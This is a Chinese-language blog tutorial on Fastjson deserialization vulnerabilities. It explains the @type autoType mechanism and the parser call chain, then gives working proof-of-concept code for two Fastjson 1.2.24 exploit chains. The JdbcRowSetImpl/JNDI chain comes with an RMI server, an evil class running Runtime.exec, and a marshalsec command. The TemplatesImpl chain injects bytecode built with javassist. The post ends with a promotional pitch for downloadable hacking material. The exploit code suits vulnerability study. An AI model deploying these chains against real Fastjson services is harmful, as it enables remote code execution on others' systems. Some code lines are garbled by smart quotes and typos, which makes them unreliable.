简介

Fastjson 是 Alibaba 开发的 Java 语言编写的高性能 JSON 库, 用于将数据在 JSON 和 Java Object 之间互相转换, 提供两个主要接口 JSON.toJSONString 和 JSON.parseObject / JSON. parse 来分别实现序列化和反序列化操作.

版本

Fastjson < 1.2.68

相关类

  • JSON:门面类,提供入口

  • DefaultJSONParser:主类

  • ParserConfig:配置相关类

  • JSONexerBase:字符分析类

  • JavaBeanDeserializer:JavaBean反序列化类

常用属性

SerializerFeature.WriteClassName

JSON.toJSONString()中的一个设置属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type可以指定反序列化的类,并且调用其getter/setter/is方法

Feature.SupportNonPublicField

如果需要还原出private属性的话,还需要在JSON.parseObject/JSON.parse中加上Feature.SupportNonPublicField参数

json与类转化

类->JSON

常用方法:JSON.toJSONString(),常用参数如下

  • 序列化特性: com.alibaba.fastjson.serializer.SerializerFeature , 可以通过设置多 个特性到 FastjsonConfig 中全局使用, 也可以在使用具体方法中指定特性.

  • 序列化过滤器: com.alibaba.fastjson.serializer.SerializeFilter , 这是一个接口, 通 过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化.

  • 序列化时的配置: com.alibaba.fastjson.serializer.SerializeConfig , 可以添加特点 类型自定义的序列化配置.

JSON->类

常用方法:parse、parseObject、parseArray,常用参数如下

  • 反序列化特性: com.alibaba.fastjson.parser.Feature.

  • 类的类型: java.lang.reflect.Type , 用来执行反序列化类的类型.

  • 处理泛型反序列化: com.alibaba.fastjson.TypeReference .

  • 编程扩展定制反序列化: com.alibaba.fastjson.parser.deserializer.ParseProcess , 例如 ExtraProcessor 用于处理多余的字段, ExtraTypeProvider 用于处理多余字段时提 供类型信息.

parse与parseObject的区别:使用 JSON.parse(jsonString) 和 JSON.parseObject(jsonString, Target.class) , 两者 调用链一致, 前者会在 jsonString 中解析字符串获取 @type 指定的类, 后者则会直接使用Target.class参数中的 class .

序列化与反序列化

序列化

在上面的代码中存在一个关键词 SerializerFeature.WriteClassName , 其是 toJSON String 设置的一个属性值, 设置之后在序列化的时候会多写入一个 @type , 即写上被序列化 的类名, type 可以指定反序列化的类, 并且调用其 getter / setter / is 方法.

反序列化

第一二种没有在引入了 @type 后, 成功反序列化, 可以看到 parse 成功 触发了 set 方法, parseObject 同时触发了 set 和 get 方法, 因为 fastjson 存在 autoTyp e 机制, 当用户指定 @type 时, 存在调用恶意 setter / getter 的情况, 这就是 fastjson反 序列化漏洞.

fastjson 反序列化漏洞基本原理

调用链分析

先跟进parse方法

这里会创建一个 DefaultJSONParser 对象,在这个过程中会有一个判断操作, 来判断解析的字符串是 { 还是 [ , 并根据判断的结果设置 tok en 值, 创建完成 DefaultJSONParser 对象后进入 DefaultJSONParser#parse 方法.

再步入DefaultJSONParser#parse

跟进 parseObject 方法, 这里会通过 scanSymbol 获取到 @type 指定类, 然后通过 TypeUtil s.loadClass 方法加载 Class .

跟进 TypeUtils.loadClass 方法, 这里首先会从 mappings 里面寻找类, mappings 中存放着 一些 Java 内置类, 由于前面一些条件不满足, 所以最后用 ClassLoader 加载类, 在这里也就 是加载 Exploit 类.

返回 clazz 值后回到上一级, 创建 ObjectDeserializer 对象, 并调用 getDeserializer方法.

跟进 ParserConfig#getDeserializer 方法, 继续调用 getDeserializer 方法, 这里使用了黑 名单限制可以反序列化的类, 但是黑名单里面只有 java.lang.Thread .

接着回到前面的 deserialze 方法, 往下调试到达 ASM 机制生成的临时代码, 最后调用 set 和 get 里面的方法.

下面直接引用结论,Fastjson会对满足下列要求的setter/getter方法进行调用:

满足条件的setter:

非静态函数

返回类型为void或当前类

参数个数为1个

满足条件的getter:

非静态方法

无参数

返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

Fastjson 1.2.24

这个版本的两条利用链

JdbcRowSetImpl

JdbcRowSetImpl 类位于 com.sun.rowset.JdbcRowSetImpl , 这条漏洞利用链的核心点是 jav ax.naming.InitialContext#lookup 参数可控导致的 JNDI 注入

poc

package com.poc;

​

import com.alibaba.fastjson.JSON;

​

public class fastjsonpoc2 {

public static void main(String[] args) throws Exception {

String PoC = “{\”@type\“:\“com.sun.rowset.JdbcRowSetImpl\”, \“dataSourceName\”:\“rmi://127.0.0.1:1099/refObj\”, \“autoCommit\”:true}”;

JSON.parse(PoC);

}

}

rmi

package com.poc;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;

import java.rmi.registry.LocateRegistry;

import java.rmi.registry.Registry;

​

public class RMI_Server {

public static void main(String args[]) throws Exception {

Registry registry = LocateRegistry.createRegistry(1099);

Reference refObj = new Reference(“vita_rain”, “EvilObject”, "http://127.0.0.1:8000/");

System.out.println(refObj);

ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);

registry.bind(“refObj”, refObjWrapper);

}

}

evil

package com.Evil;

​

import java.io.IOException;

​

public class EvilObject {

static {

try{

Runtime.getRuntime().exec(“clac”);

}catch (IOException e){

e.printStackTrace();

}

}

}

或者用marshalsec起rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8000/#EvilOb" 1099

LDAP的方法和只是把协议和服务改为LDAP即可

Templateslmpl

位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。

TemplatesImpl中存在一个名为_outputPropertiesget的私有变量,其getter方法中存在利用点,这个getter方法恰好满足了调用条件,在JSON字符串被解析时可以调用其在调用FastJson.parseObject()序列化为Java对象时会被调用。因此产生了漏洞。

利用链

getOutputProperties() ->

newTransformer() ->

getTransletInstance() ->

defineTransletClasses() / EvilClass.newInstance()

其中getOutputProperties()为_outputPropertiesget成员变量的getter方法。

getTransletInstance()中先调用defineTransletClasses,该方法的逻辑:

首先要求bytecodes不为空(bytecodes变量是TemplatesImpl类的成员变量,在构造poc时属于可控变量),然后就会调用自定义的Clssloader.defineClass去将_bytecodes中的值由字节码转化为Class对象赋值给_Class[i]。如果这个类的父类为 ABSTRACT_TRANSLET,_transletIndex变量值则会是此时_bytecodes数组中的下标值

由上可以得知:_bytecodes 是我们构造的恶意类 的类字节码, 这个类的父类是 AbstractTranslet , 最终这个类会被加载并使用 newInsta nce 实例化.

ps.成员变量_name和_tfactory不能为空,否者程序会提前return.

poc

import com.alibaba.fastjson.JSON;

import com.alibaba.fastjson.parser.Feature;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import javassist.*;

​

import java.util.Base64;

​

public class fastjsonpoc1 {

public static String generateEvil() throws Exception {

ClassPool pool = ClassPool.getDefault();

CtClass clas = pool.makeClass(“Evil”);

pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

String cmd = “Runtime.getRuntime().exec(\“calc\”);”;

clas.makeClassInitializer().insertBefore(cmd);

clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));

​

clas.writeFile(“./”);

​

byte[] bytes = clas.toBytecode();

String EvilCode = Base64.getEncoder().encodeToString(bytes);

System.out.println(EvilCode);

return EvilCode;

}

public static void main(String[] args) throws Exception {

final String GADGAT_CLASS = “com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”;

String evil = fastjsonpoc1.generateEvil();

String PoC = “{\”@type\“:\”" + GADGAT_CLASS + “\”,\“_bytecodes\”:[\“” + evil + “\”],‘_name’:‘a.b’,‘_tfactory’:{},\“_outputProperties\”:{ }," + “\“allowedProtocols\”:\“all\”}\n”;

JSON.parseObject(PoC,Object.class, Feature.SupportNonPublicField);

}

}

ClassPool.getDefault()获取默认类池,然后创建Evil类,接着设置Evil要继承的类

ClassPool pool = ClassPool.getDefault();

CtClass clas = pool.makeClass(“Evil”);

pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));

创建空的类初始化器,向构造函数里加入cmd

String cmd = “Runtime.getRuntime().exec(\“calc\”);”;

clas.makeClassInitializer().insertBefore(cmd);

设置加载AbstractTranslet类的搜索路径

clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName())

将编译的类创建为.class文件

test.writeFile(“./”);

转换为字节码并进行base64加密

byte[] bytes = clas.toBytecode();

String EvilCode = Base64.getEncoder().encodeToString(bytes);

System.out.println(EvilCode);

return EvilCode;

最后构造序列化数据,进行触发

String PoC = “{\”@type\“:\”" + GADGAT_CLASS + “\”,\“_bytecodes\”:[\“” + evil + “\”],‘_name’:‘vi_ta’,‘_tfactory’:{},\“_outputProperties\”:{ }," + “\“allowedProtocols\”:\“all\”}\n”;

JSON.parseObject(PoC,Object.class, Feature.SupportNonPublicField);

.由于部分需要更改的私有变量没有 setter 方法, 需要使用 Feature.Supp ortNonPublicField 参数来触发.

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
在这里插入图片描述

在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

在这里插入图片描述

黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

Logo

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。

更多推荐